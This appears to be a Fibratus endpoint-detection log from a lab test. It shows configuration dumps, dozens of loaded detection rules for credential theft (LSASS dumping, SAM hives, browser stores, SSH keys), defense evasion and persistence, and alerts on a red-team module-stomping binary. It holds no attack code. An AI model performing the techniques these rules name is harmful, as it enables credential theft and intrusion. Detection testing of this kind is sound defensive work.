MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:58:51+01:00 level=info msg=bootstrapping with pid 17700. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:58:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-threadpool=>false min-buffers=>16 stack-enrichment=>true buffer-size=>512 enable-vamap=>true enable-audit-api=>true enable-net=>true enable-thread=>true enable-image=>true enable-dns=>false enable-mem=>false flush-interval=>1s max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true max-age=>0 level=>info max-size=>100] + output ......................... [ http=>[ enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false serializer=>json endpoints=>[]] elasticsearch=>[ flush-period=>1s timeout=>5s template-name=>fibratus trace-log=>false bulk-workers=>1 enabled=>false healthcheck-interval=>10s index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true] amqp=>[ enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false durable=>false timeout=>5s passive=>false exchange-type=>topic] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false excluded-files=>[] enabled=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:58:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:58:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:59:05+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2128929 + Pid: 2336 + Tid: 11144 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:58:56.1067519 +0100 CET + Params: base_address➜ 179e6240000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2336, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 2336 + + Pid: 2336 + Ppid: 17996 + UUID: 1762876945473120636 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2118250 + Pid: 2336 + Tid: 11144 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:58:56.2044567 +0100 CET + Params: status➜ The handle is invalid + Metadata: rule.name: Potential NTDLL memory unhooking, rule.seq.link: 2336, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 2336 + Ppid: 17996 + UUID: 11651379566778911008 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:00:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:00:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:01:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:01:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:01:33+01:00 level=info msg=bootstrapping with pid 19000. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:01:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true max-buffers=>36 min-buffers=>16 enable-mem=>false enable-net=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true flush-interval=>1s enable-dns=>false enable-audit-api=>true enable-vamap=>true buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text max-age=>0 log-stdout=>true level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ sniff=>false gzip-compression=>false timeout=>5s healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus enabled=>false healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 trace-log=>false flush-period=>1s servers=>[http://127.0.0.1:9200]] amqp=>[ delivery-mode=>transient timeout=>5s routing-key=>fibratus vhost=>/ durable=>false exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false exchange-type=>topic] http=>[ serializer=>json timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-registry=>false enabled=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:01:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:01:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:01:44+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2182540 + Pid: 8584 + Tid: 16488 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:01:38.8432516 +0100 CET + Params: base_address➜ 22318160000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 8584, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 8584, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 8584 + Ppid: 17996 + UUID: 1762876902052866008 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2181439 + Pid: 8584 + Tid: 16488 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:01:38.9369334 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 8584, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 8584 + Ppid: 17996 + UUID: 11651379566778917256 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:03:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:03:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:03:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:04:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:04:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 